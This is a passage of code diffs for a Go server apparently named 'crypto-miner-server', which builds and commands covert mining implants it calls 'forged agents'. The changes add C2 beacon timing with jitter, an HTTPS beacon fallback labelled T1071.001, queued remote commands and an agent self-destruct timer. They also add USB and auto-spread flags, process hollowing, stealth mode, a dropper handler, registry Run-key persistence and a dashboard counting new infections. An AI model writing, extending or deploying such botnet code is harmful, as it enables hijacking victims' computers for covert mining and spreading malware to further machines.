SetAgentPathSecret(secret)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
hub := NewWSHub(database)
hub.SetFleetSecret(secret)
body, _ := json.Marshal(map[string]interface{}{
"agent_id": "agent-beacon-1",
"stats": map[string]interface{}{
"hashrate_15s": 100.0,
"hashrate_1m": 100.0,
"hashrate_15m": 100.0,
},
})
h := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon))
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusForbidden {
t.Fatalf("missing secret: got %d", rec.Code)
}
req.Header.Set("X-Fleet-Secret", secret)
rec = httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("valid secret: got %d body=%s", rec.Code, rec.Body.String())
}
var resp beaconResponse
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
t.Fatal(err)
}
if !resp.OK {
t.Fatal("expected ok")
}
}
func TestBeaconCommandQueueRoundtrip(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
_ = database.UpsertAgent(&models.Agent{ID: "q-agent", Name: "host", Status: "offline"})
hub := NewWSHub(database)
hub.MarkBeaconSeen("q-agent")
if !hub.EnqueueBeaconCommand("q-agent", "pause", nil) {
t.Fatal("enqueue failed")
}
cmds := hub.dequeueBeaconCommands("q-agent")
if len(cmds) != 1 || cmds[0].Action != "pause" {
t.Fatalf("commands: %+v", cmds)
}
if len(hub.dequeueBeaconCommands("q-agent")) != 0 {
t.Fatal("queue should be empty")
}
}
func TestAgentBeaconReturnsQueuedCommands(t *testing.T) {
resetAuthState(t)
const secret = "beacon-cmd-secret"
SetAgentPathSecret(secret)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer database.Close()
_ = database.UpsertAgent(&models.Agent{ID: "cmd-agent", Name: "pc", Status: "offline"})
hub := NewWSHub(database)
hub.MarkBeaconSeen("cmd-agent")
_ = hub.EnqueueBeaconCommand("cmd-agent", "resume", nil)
body, _ := json.Marshal(map[string]string{"agent_id": "cmd-agent"})
h := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon))
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body))
req.Header.Set("X-Fleet-Secret", secret)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("beacon: %d %s", rec.Code, rec.Body.String())
}
var resp beaconResponse
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
t.Fatal(err)
}
if len(resp.Commands) != 1 || resp.Commands[0].Action != "resume" {
t.Fatalf("commands: %+v", resp.Commands)
}
}

View File

@@ -8,7 +8,8 @@ import (
// ConfigHandler handles GET/PUT for server configuration settings // ConfigHandler handles GET/PUT for server configuration settings
type ConfigHandler struct { type ConfigHandler struct {
config ConfigProvider config ConfigProvider
auditSave func(username string)
} }
// ConfigProvider is an interface for the server config so we don't import main package // ConfigProvider is an interface for the server config so we don't import main package
@@ -21,6 +22,10 @@ func NewConfigHandler(cp ConfigProvider) *ConfigHandler {
return &ConfigHandler{config: cp} return &ConfigHandler{config: cp}
} }
func (h *ConfigHandler) SetAuditSaveHook(fn func(username string)) {
h.auditSave = fn
}
func (h *ConfigHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { func (h *ConfigHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
switch r.Method { switch r.Method {
case http.MethodGet: case http.MethodGet:
@@ -63,6 +68,10 @@ func (h *ConfigHandler) updateConfig(w http.ResponseWriter, r *http.Request) {
return return
} }
if h.auditSave != nil {
h.auditSave(AuthUsername(r))
}
// Return updated config // Return updated config
h.getConfig(w, r) h.getConfig(w, r)
} }

View File

@@ -369,6 +369,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
args["data"] = req.Data args["data"] = req.Data
} }
queued := false
if id == "all" { if id == "all" {
if f.ws.connectedAgentCount() == 0 { if f.ws.connectedAgentCount() == 0 {
writeJSON(w, map[string]interface{}{ writeJSON(w, map[string]interface{}{
@@ -381,7 +382,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
} }
f.ws.BroadcastAgentCommand(req.Action, args) f.ws.BroadcastAgentCommand(req.Action, args)
} else { } else {
if !f.ws.isAgentConnected(id) { if !f.ws.IsAgentReachable(id) {
writeJSON(w, map[string]interface{}{ writeJSON(w, map[string]interface{}{
"success": false, "success": false,
"error": "agent not connected", "error": "agent not connected",
@@ -390,6 +391,7 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
}) })
return return
} }
queued = !f.ws.isAgentConnected(id)
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil { if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
writeJSON(w, map[string]interface{}{ writeJSON(w, map[string]interface{}{
"success": false, "success": false,
@@ -400,11 +402,21 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
return return
} }
} }
writeJSON(w, map[string]interface{}{ resp := map[string]interface{}{
"success": true, "success": true,
"agent_id": id, "agent_id": id,
"action": req.Action, "action": req.Action,
}) }
if queued {
resp["queued"] = true
resp["transport"] = "https_beacon"
}
writeJSON(w, resp)
if f.db != nil {
_ = f.db.InsertAudit(AuthUsername(r), "agent_command", id, map[string]interface{}{
"action": req.Action, "command": req.Command, "path": req.Path,
})
}
} }
// PostAgentWOL sends a Wake-on-LAN magic packet to the agent's MAC address. // PostAgentWOL sends a Wake-on-LAN magic packet to the agent's MAC address.

View File

@@ -0,0 +1,97 @@
package api
import (
"encoding/json"
"net/http"
"time"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
func (f *FleetHandler) GetAudit(w http.ResponseWriter, r *http.Request) {
if f.db == nil {
writeJSON(w, []*models.AuditEntry{})
return
}
entries, err := f.db.ListAudit(50)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if entries == nil {
entries = []*models.AuditEntry{}
}
writeJSON(w, entries)
}
func (f *FleetHandler) GetFleetTasks(w http.ResponseWriter, r *http.Request) {
if f.db == nil {
writeJSON(w, []*models.FleetTask{})
return
}
tasks, err := f.db.ListFleetTasks()
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if tasks == nil {
tasks = []*models.FleetTask{}
}
writeJSON(w, tasks)
}
func (f *FleetHandler) PutFleetTask(w http.ResponseWriter, r *http.Request) {
var t models.FleetTask
if err := json.NewDecoder(r.Body).Decode(&t); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
if t.Name == "" || t.Action == "" || t.Trigger == "" {
http.Error(w, "name, trigger, and action are required", http.StatusBadRequest)
return
}
if f.db == nil {
http.Error(w, "database unavailable", http.StatusServiceUnavailable)
return
}
if err := f.db.UpsertFleetTask(&t); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
_ = f.db.InsertAudit(AuthUsername(r), "fleet_task_save", "", map[string]string{"task_id": t.ID, "name": t.Name})
writeJSON(w, t)
}
func (f *FleetHandler) DeleteFleetTask(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "id required", http.StatusBadRequest)
return
}
if f.db == nil {
http.Error(w, "database unavailable", http.StatusServiceUnavailable)
return
}
if err := f.db.DeleteFleetTask(id); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
_ = f.db.InsertAudit(AuthUsername(r), "fleet_task_delete", "", map[string]string{"task_id": id})
writeJSON(w, map[string]bool{"ok": true})
}
func (f *FleetHandler) GetSpreadFunnel(w http.ResponseWriter, r *http.Request) {
if f.db == nil {
writeJSON(w, map[string]interface{}{"by_build": []interface{}{}, "new_connects_today": 0, "total_agents": 0})
return
}
since := time.Now().Add(-7 * 24 * time.Hour)
stats, err := f.db.GetSpreadFunnelStats(since)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, stats)
}

View File

@@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644) _ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, nil) dropperHandler := NewDropperHandler(database, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, webRoot, dataDir, nil), wsHub, database, dataDir return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil), wsHub, database, dataDir
} }
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder { func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {

View File

@@ -397,7 +397,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
authCacheSet(user, pass) authCacheSet(user, pass)
} }
next.ServeHTTP(w, r) next.ServeHTTP(w, withAuthUser(r, user))
}) })
} }
@@ -464,6 +464,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/ai/activity", fleetHandler.GetAIActivity) r.Get("/ai/activity", fleetHandler.GetAIActivity)
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate) r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
r.Get("/market/xmr", fleetHandler.GetXMRPrice) r.Get("/market/xmr", fleetHandler.GetXMRPrice)
r.Get("/audit", fleetHandler.GetAudit)
r.Get("/fleet-tasks", fleetHandler.GetFleetTasks)
r.Put("/fleet-tasks", fleetHandler.PutFleetTask)
r.Delete("/fleet-tasks/{id}", fleetHandler.DeleteFleetTask)
r.Get("/dashboard/spread-funnel", fleetHandler.GetSpreadFunnel)
} }
// Shares // Shares
@@ -553,6 +558,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Post("/agent/decide", aiHandler.HandleDecide) r.Post("/agent/decide", aiHandler.HandleDecide)
r.Post("/agent/report", aiHandler.HandleReport) r.Post("/agent/report", aiHandler.HandleReport)
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat) r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
}) })
// WebSocket // WebSocket

View File

@@ -351,7 +351,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir) fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir) blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, "", dataDir, nil) router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, nil, "", dataDir, nil)
dlURL := "/api/v1/builds/" + buildID + "/download" dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -428,7 +428,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir) blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, "", dataDir, nil) router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil)
req := httptest.NewRequest(http.MethodGet, "/", nil) req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder() rec := httptest.NewRecorder()

View File

@@ -106,6 +106,11 @@ func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time
// cmdResultKey is used to key pending command callbacks: "agentID:action". // cmdResultKey is used to key pending command callbacks: "agentID:action".
type cmdResultKey struct{ AgentID, Action string } type cmdResultKey struct{ AgentID, Action string }
// ConnectTaskRunner fires scheduled fleet tasks on agent connect/reconnect.
type ConnectTaskRunner interface {
RunConnectTasks(agentID, trigger string)
}
type WSHub struct { type WSHub struct {
db *db.Database db *db.Database
agents map[string]*AgentConnection agents map[string]*AgentConnection
@@ -122,12 +127,18 @@ type WSHub struct {
pingIntervalSec int pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier eventNotifier *alerts.Notifier
connectTasks ConnectTaskRunner
mu sync.RWMutex mu sync.RWMutex
// pendingCmdCallbacks allows handlers to await a specific command_result // pendingCmdCallbacks allows handlers to await a specific command_result
// from an agent (used by Path Tracer orchestration). // from an agent (used by Path Tracer orchestration).
pendingCmdMu sync.Mutex pendingCmdMu sync.Mutex
pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{} pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
// HTTPS beacon fallback (T1071.001) — command queue when WebSocket is down.
beaconMu sync.Mutex
beaconLastSeen map[string]time.Time
beaconCmdQueue map[string][]BeaconCommand
} }
func NewWSHub(database *db.Database) *WSHub { func NewWSHub(database *db.Database) *WSHub {
@@ -148,6 +159,8 @@ func NewWSHub(database *db.Database) *WSHub {
agentLogs: make(map[string]string), agentLogs: make(map[string]string),
agentDNS: make(map[string][]string), agentDNS: make(map[string][]string),
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}), pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
beaconLastSeen: make(map[string]time.Time),
beaconCmdQueue: make(map[string][]BeaconCommand),
pingIntervalSec: 30, pingIntervalSec: 30,
} }
@@ -231,6 +244,22 @@ func (h *WSHub) SetFleetSecret(secret string) {
h.mu.Unlock() h.mu.Unlock()
} }
func (h *WSHub) SetConnectTaskRunner(r ConnectTaskRunner) {
h.mu.Lock()
h.connectTasks = r
h.mu.Unlock()
}
func (h *WSHub) ConnectedAgentIDs() []string {
h.mu.RLock()
defer h.mu.RUnlock()
ids := make([]string, 0, len(h.agents))
for id := range h.agents {
ids = append(ids, id)
}
return ids
}
func (h *WSHub) pingInterval() time.Duration { func (h *WSHub) pingInterval() time.Duration {
h.mu.RLock() h.mu.RLock()
sec := h.pingIntervalSec sec := h.pingIntervalSec
@@ -516,6 +545,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
Arch string `json:"arch"` Arch string `json:"arch"`
OSVersion string `json:"os_version"` OSVersion string `json:"os_version"`
MacAddress string `json:"mac_address,omitempty"` MacAddress string `json:"mac_address,omitempty"`
BuildID string `json:"build_id"`
USBSpread bool `json:"usb_spread"`
} }
if err := json.Unmarshal(msg.Payload, &auth); err != nil { if err := json.Unmarshal(msg.Payload, &auth); err != nil {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
@@ -580,6 +611,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
AutoSpread: auth.AutoSpread, AutoSpread: auth.AutoSpread,
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows", ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
AIEnabled: auth.AIEnabled, AIEnabled: auth.AIEnabled,
USBSpread: auth.USBSpread,
} }
h.mu.Lock() h.mu.Lock()
@@ -638,6 +670,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
prior, priorErr := h.db.GetAgent(agentID) prior, priorErr := h.db.GetAgent(agentID)
isNewAgent := errors.Is(priorErr, sql.ErrNoRows) isNewAgent := errors.Is(priorErr, sql.ErrNoRows)
workerName := auth.WorkerName
if workerName == "" {
workerName = auth.Worker
}
agent := &models.Agent{ agent := &models.Agent{
ID: agentID, ID: agentID,
Name: displayName, Name: displayName,
@@ -653,6 +690,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
OSVersion: auth.OSVersion, OSVersion: auth.OSVersion,
Hostname: auth.Hostname, Hostname: auth.Hostname,
MacAddress: auth.MacAddress, MacAddress: auth.MacAddress,
BuildID: auth.BuildID,
WorkerName: workerName,
USBSpread: auth.USBSpread,
Capabilities: &caps, Capabilities: &caps,
} }
@@ -692,6 +732,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.agents[agentID] = ac h.agents[agentID] = ac
h.mu.Unlock() h.mu.Unlock()
h.FlushBeaconCommandsToWS(agentID)
h.ClearBeaconTransport(agentID)
// Start the RTT-aware ping loop now that we have an AgentConnection. // Start the RTT-aware ping loop now that we have an AgentConnection.
go h.runPingLoopAgent(ac) go h.runPingLoopAgent(ac)
@@ -726,6 +769,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
} }
} }
h.mu.RLock()
runner := h.connectTasks
h.mu.RUnlock()
if runner != nil {
if isNewAgent {
go runner.RunConnectTasks(agentID, "on_connect")
} else if !isNewAgent && (alreadyConnected || (prior != nil && prior.Status != "online")) {
go runner.RunConnectTasks(agentID, "on_reconnect")
}
}
case "stats": case "stats":
if agentID == "" { if agentID == "" {
continue continue
@@ -1051,6 +1105,19 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
// Notify any handler waiting for this specific agent+action result. // Notify any handler waiting for this specific agent+action result.
if action, _ := payload["action"].(string); action != "" { if action, _ := payload["action"].(string); action != "" {
h.notifyCmdCallback(agentID, action, payload) h.notifyCmdCallback(agentID, action, payload)
if action == "full_sys_check" {
if ok, _ := payload["success"].(bool); ok {
if msg, _ := payload["message"].(string); msg != "" && h.eventNotifier != nil {
name := agentID
if h.db != nil {
if ag, err := h.db.GetAgent(agentID); err == nil && ag.Name != "" {
name = ag.Name
}
}
alerts.NotifyKEVFromSysCheck(h.eventNotifier, name, msg)
}
}
}
} }
} }
} }
@@ -1220,11 +1287,17 @@ func (h *WSHub) RemoveAgent(agentID string) {
// SendAgentCommand sends a remote command to an agent. // SendAgentCommand sends a remote command to an agent.
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error { func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
payload := map[string]interface{}{"action": action} if h.isAgentConnected(agentID) {
for k, v := range args { payload := map[string]interface{}{"action": action}
payload[k] = v for k, v := range args {
payload[k] = v
}
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
} }
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)}) if h.EnqueueBeaconCommand(agentID, action, args) {
return nil
}
return fmt.Errorf("agent %s not connected", agentID)
} }
// BroadcastAgentCommand sends a remote command to all connected agents. // BroadcastAgentCommand sends a remote command to all connected agents.

View File

@@ -39,6 +39,12 @@ type BuildRequest struct {
RunAs string `json:"run_as"` RunAs string `json:"run_as"`
HostBinaryTarget string `json:"host_binary_target"` HostBinaryTarget string `json:"host_binary_target"`
AutoStart bool `json:"auto_start"` AutoStart bool `json:"auto_start"`
AutostartMode string `json:"autostart_mode"`
RegistryPersistence string `json:"registry_persistence"`
RegistryRunHKCU bool `json:"registry_run_hkcu"`
RegistryRunHKLM bool `json:"registry_run_hklm"`
RegistryRunOnce bool `json:"registry_run_once"`
RegistryExplorerRun bool `json:"registry_explorer_run"`
Persistence bool `json:"persistence"` Persistence bool `json:"persistence"`
ProcessName string `json:"process_name"` ProcessName string `json:"process_name"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct"` MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
@@ -97,6 +103,13 @@ type BuildRequest struct {
RVNPoolTLS bool `json:"rvn_pool_tls"` RVNPoolTLS bool `json:"rvn_pool_tls"`
RVNPoolPass string `json:"rvn_pool_pass"` RVNPoolPass string `json:"rvn_pool_pass"`
RVNBackupPools []BackupPool `json:"rvn_backup_pools"` RVNBackupPools []BackupPool `json:"rvn_backup_pools"`
// Connection profile — C2 beacon timing and agent self-destruct
BeaconIntervalSec int `json:"beacon_interval_sec"`
BeaconJitterPct int `json:"beacon_jitter_pct"`
AgentKillAfterDays int `json:"agent_kill_after_days"`
HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
HTTPSBeaconAfterMin int `json:"https_beacon_after_min"`
} }
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable. // BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
@@ -341,6 +354,16 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return return
} }
if h.db != nil {
user := ""
if u, _, ok := r.BasicAuth(); ok {
user = u
}
_ = h.db.InsertAudit(user, "forge_build", "", map[string]string{
"build_id": resp.BuildID, "worker_name": req.WorkerName, "file_name": resp.FileName,
})
}
if r.URL.Query().Get("download") == "1" { if r.URL.Query().Get("download") == "1" {
w.Header().Set("Content-Type", "application/octet-stream") w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName)) w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName))
@@ -848,6 +871,9 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.Persistence { if req.Persistence {
req.AutoStart = true req.AutoStart = true
} }
req.AutostartMode = strings.ToLower(strings.TrimSpace(req.AutostartMode))
req.RegistryPersistence = strings.ToLower(strings.TrimSpace(req.RegistryPersistence))
normalizeRegistryPersistence(req)
if req.ProcessName == "" { if req.ProcessName == "" {
req.ProcessName = sanitizeFileName(req.WorkerName) req.ProcessName = sanitizeFileName(req.WorkerName)
} }
@@ -1031,6 +1057,12 @@ func GetBuiltinConfig() BuiltinConfig {
RunAs: %q, RunAs: %q,
HostBinaryTarget: %q, HostBinaryTarget: %q,
AutoStart: %v, AutoStart: %v,
AutostartMode: %q,
RegistryPersistence: %q,
RegistryRunHKCU: %v,
RegistryRunHKLM: %v,
RegistryRunOnce: %v,
RegistryExplorerRun: %v,
ProcessName: %q, ProcessName: %q,
BuildID: %q, BuildID: %q,
BuiltAt: time.Unix(%d, 0), BuiltAt: time.Unix(%d, 0),
@@ -1078,6 +1110,12 @@ func GetBuiltinConfig() BuiltinConfig {
RVNPoolTLS: %v, RVNPoolTLS: %v,
RVNPoolPass: %q, RVNPoolPass: %q,
RVNBackupPools: %s, RVNBackupPools: %s,
BeaconIntervalSec: %d,
BeaconJitterPct: %d,
AgentKillAfterDays: %d,
HTTPSBeaconFallback: %v,
HTTPSBeaconAfterMin: %d,
} }
} }
`, buildID, time.Now().UTC().Format(time.RFC3339), `, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -1094,6 +1132,12 @@ func GetBuiltinConfig() BuiltinConfig {
req.RunAs, req.RunAs,
req.HostBinaryTarget, req.HostBinaryTarget,
req.AutoStart, req.AutoStart,
strings.TrimSpace(req.AutostartMode),
strings.TrimSpace(req.RegistryPersistence),
req.RegistryRunHKCU,
req.RegistryRunHKLM,
req.RegistryRunOnce,
req.RegistryExplorerRun,
req.ProcessName, req.ProcessName,
buildID, buildID,
time.Now().Unix(), time.Now().Unix(),
@@ -1139,9 +1183,33 @@ func GetBuiltinConfig() BuiltinConfig {
req.RVNPoolTLS, req.RVNPoolTLS,
rvnPoolPass(req), rvnPoolPass(req),
formatGoBackupPools(req.RVNBackupPools), formatGoBackupPools(req.RVNBackupPools),
req.BeaconIntervalSec,
req.BeaconJitterPct,
req.AgentKillAfterDays,
httpsBeaconFallbackEnabled(req),
httpsBeaconAfterMin(req),
) )
} }
func httpsBeaconFallbackEnabled(req *BuildRequest) bool {
if req.HTTPSBeaconFallback {
return true
}
for _, u := range req.BackupServerURLs {
if strings.TrimSpace(u) != "" {
return true
}
}
return false
}
func httpsBeaconAfterMin(req *BuildRequest) int {
if req.HTTPSBeaconAfterMin > 0 {
return req.HTTPSBeaconAfterMin
}
return 3
}
func rvnPoolHost(req *BuildRequest) string { func rvnPoolHost(req *BuildRequest) string {
if req.RVNPoolHost == "" { if req.RVNPoolHost == "" {
return "rvn.2miners.com" return "rvn.2miners.com"

View File

@@ -62,6 +62,9 @@ func TestGenerateBuiltinConfigValid(t *testing.T) {
if !strings.Contains(src, "BackupServerURLs") { if !strings.Contains(src, "BackupServerURLs") {
t.Error("expected BackupServerURLs field in generated config") t.Error("expected BackupServerURLs field in generated config")
} }
if !strings.Contains(src, "AutostartMode") {
t.Error("expected AutostartMode field in generated config")
}
} }
func TestBuildPlatformLabelAndBinDir(t *testing.T) { func TestBuildPlatformLabelAndBinDir(t *testing.T) {

View File

@@ -0,0 +1,41 @@
package builder
// normalizeRegistryPersistence maps forge checkboxes to baked config when enum is empty.
func normalizeRegistryPersistence(req *BuildRequest) {
if req == nil {
return
}
if req.RegistryPersistence != "" && req.RegistryPersistence != "off" {
return
}
if !req.RegistryRunHKCU && !req.RegistryRunHKLM && !req.RegistryRunOnce && !req.RegistryExplorerRun {
return
}
count := 0
if req.RegistryRunHKCU {
count++
}
if req.RegistryRunOnce {
count++
}
if req.RegistryRunHKLM {
count++
}
if req.RegistryExplorerRun {
count++
}
if count == 1 {
switch {
case req.RegistryRunHKCU:
req.RegistryPersistence = "hkcu_run"
case req.RegistryRunOnce:
req.RegistryPersistence = "hkcu_run_once"
case req.RegistryRunHKLM:
req.RegistryPersistence = "hklm_run"
case req.RegistryExplorerRun:
req.RegistryPersistence = "explorer_run"
}
return
}
req.RegistryPersistence = "combined"
}

View File

@@ -0,0 +1,30 @@
package builder
import "testing"
func TestNormalizeRegistryPersistenceSingleCheckbox(t *testing.T) {
req := &BuildRequest{RegistryRunOnce: true}
normalizeRegistryPersistence(req)
if req.RegistryPersistence != "hkcu_run_once" {
t.Fatalf("got %q", req.RegistryPersistence)
}
}
func TestNormalizeRegistryPersistenceCombined(t *testing.T) {
req := &BuildRequest{RegistryRunHKCU: true, RegistryRunOnce: true}
normalizeRegistryPersistence(req)
if req.RegistryPersistence != "combined" {
t.Fatalf("got %q", req.RegistryPersistence)
}
}
func TestNormalizeRegistryPersistenceEnumWins(t *testing.T) {
req := &BuildRequest{
RegistryPersistence: "hkcu_run",
RegistryRunHKLM: true,
}
normalizeRegistryPersistence(req)
if req.RegistryPersistence != "hkcu_run" {
t.Fatalf("enum should win, got %q", req.RegistryPersistence)
}
}

View File

@@ -122,6 +122,10 @@ if (Test-Path $ExpectedExe) {
Write-Host "Removing persistence..." Write-Host "Removing persistence..."
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName ($PersistenceKey + '-Boot') -Confirm:$false -ErrorAction SilentlyContinue
Unregister-ScheduledTask -TaskName ($PersistenceKey + '-Logon') -Confirm:$false -ErrorAction SilentlyContinue
$StartupLnk = Join-Path $env:APPDATA 'Microsoft\Windows\Start Menu\Programs\Startup\' ($PersistenceKey + '.lnk')
if (Test-Path $StartupLnk) { Remove-Item -LiteralPath $StartupLnk -Force }
if (%s) { if (%s) {
Write-Host "Removing Windows Firewall rules..." Write-Host "Removing Windows Firewall rules..."

View File

@@ -33,6 +33,16 @@ func TestGenerateUninstallScriptStealthKey(t *testing.T) {
} }
} }
func TestGenerateUninstallScriptAutostartExtras(t *testing.T) {
req := &BuildRequest{WorkerName: "lab", ProcessName: "Worker", StealthMode: false}
script := generateUninstallScript("build-id", req)
for _, frag := range []string{"-Boot", "-Logon", "Programs\\Startup", ".lnk"} {
if !strings.Contains(script, frag) {
t.Fatalf("expected autostart cleanup fragment %q in script", frag)
}
}
}
func TestGenerateUninstallScriptInstallPathTokens(t *testing.T) { func TestGenerateUninstallScriptInstallPathTokens(t *testing.T) {
req := &BuildRequest{ req := &BuildRequest{
WorkerName: "office-pc", WorkerName: "office-pc",

View File

@@ -34,6 +34,7 @@ func (d *Database) scanAgent(row interface {
}) (*models.Agent, error) { }) (*models.Agent, error) {
a := &models.Agent{} a := &models.Agent{}
var notes, tagsRaw string var notes, tagsRaw string
var usbSpread int
err := row.Scan( err := row.Scan(
&a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status, &a.ID, &a.Name, &a.Wallet, &a.IP, &a.Version, &a.Status,
&a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt, &a.CPUCores, &a.MemoryGB, &a.LastSeen, &a.CreatedAt,
@@ -41,18 +42,21 @@ func (d *Database) scanAgent(row interface {
&a.SharesTotal, &a.SharesGood, &a.SharesBad, &a.SharesTotal, &a.SharesGood, &a.SharesBad,
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds, &a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
